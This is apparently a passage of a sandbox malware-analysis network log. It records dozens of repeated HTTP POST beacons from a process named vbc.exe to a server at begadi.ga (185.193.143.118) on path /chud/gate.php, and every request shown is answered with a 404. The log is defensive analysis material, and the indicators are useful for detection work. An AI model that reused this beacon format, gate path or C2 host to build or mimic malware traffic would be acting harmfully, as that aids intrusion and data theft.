Dec 21, 2020 08:33:49.054697990 CET	663	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.22	49203	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:49.345743895 CET	664	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:49.538414955 CET	665	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49204	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:49.842369080 CET	665	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:50.024385929 CET	666	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49205	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:50.305217981 CET	667	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:50.502685070 CET	667	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49206	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:50.800059080 CET	668	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:50.995313883 CET	669	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49171	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:33.982963085 CET	620	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:34.172879934 CET	621	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49207	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:51.266644001 CET	669	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:51.461715937 CET	670	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49208	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:51.729572058 CET	671	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:51.917480946 CET	671	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49209	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:52.201844931 CET	672	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:52.382858992 CET	673	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49210	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:52.681830883 CET	674	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:52.881215096 CET	674	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49211	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:53.154706001 CET	675	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:53.346194029 CET	676	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49212	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:53.619537115 CET	676	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:53.817548990 CET	677	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49213	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:54.095933914 CET	678	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:54.282756090 CET	678	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49214	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:54.563018084 CET	679	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:54.753853083 CET	680	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49215	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:55.018162966 CET	680	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:55.203334093 CET	681	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49216	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:55.468060017 CET	682	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:57.629524946 CET	682	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49172	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:34.470274925 CET	621	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:34.668154001 CET	622	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49217	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:58.210022926 CET	683	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:58.403531075 CET	684	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49218	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:58.669352055 CET	685	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:58.864826918 CET	685	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49219	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:59.144565105 CET	686	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:59.334280014 CET	687	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49220	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:59.604248047 CET	687	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:59.791795015 CET	688	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49221	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:00.066545963 CET	689	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:00.256094933 CET	689	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49222	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:00.524930000 CET	690	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:00.710942030 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49223	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:00.993901014 CET	691	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:01.177423000 CET	692	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49224	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:01.452553988 CET	693	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:01.638468981 CET	693	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49225	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:01.876667023 CET	694	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:02.059926033 CET	695	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49226	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:02.621823072 CET	696	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:02.813173056 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49173	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:34.978435993 CET	623	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:35.166301012 CET	623	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49227	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:03.371543884 CET	697	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:03.553005934 CET	698	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49228	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:03.833935022 CET	698	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:04.038429976 CET	699	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49229	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:04.292102098 CET	700	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:04.473880053 CET	700	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49230	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:04.727065086 CET	701	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:04.906800032 CET	702	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49231	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:05.184514999 CET	702	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:05.370029926 CET	703	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49232	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:05.631099939 CET	704	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:05.812973022 CET	704	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49233	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:06.072212934 CET	705	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
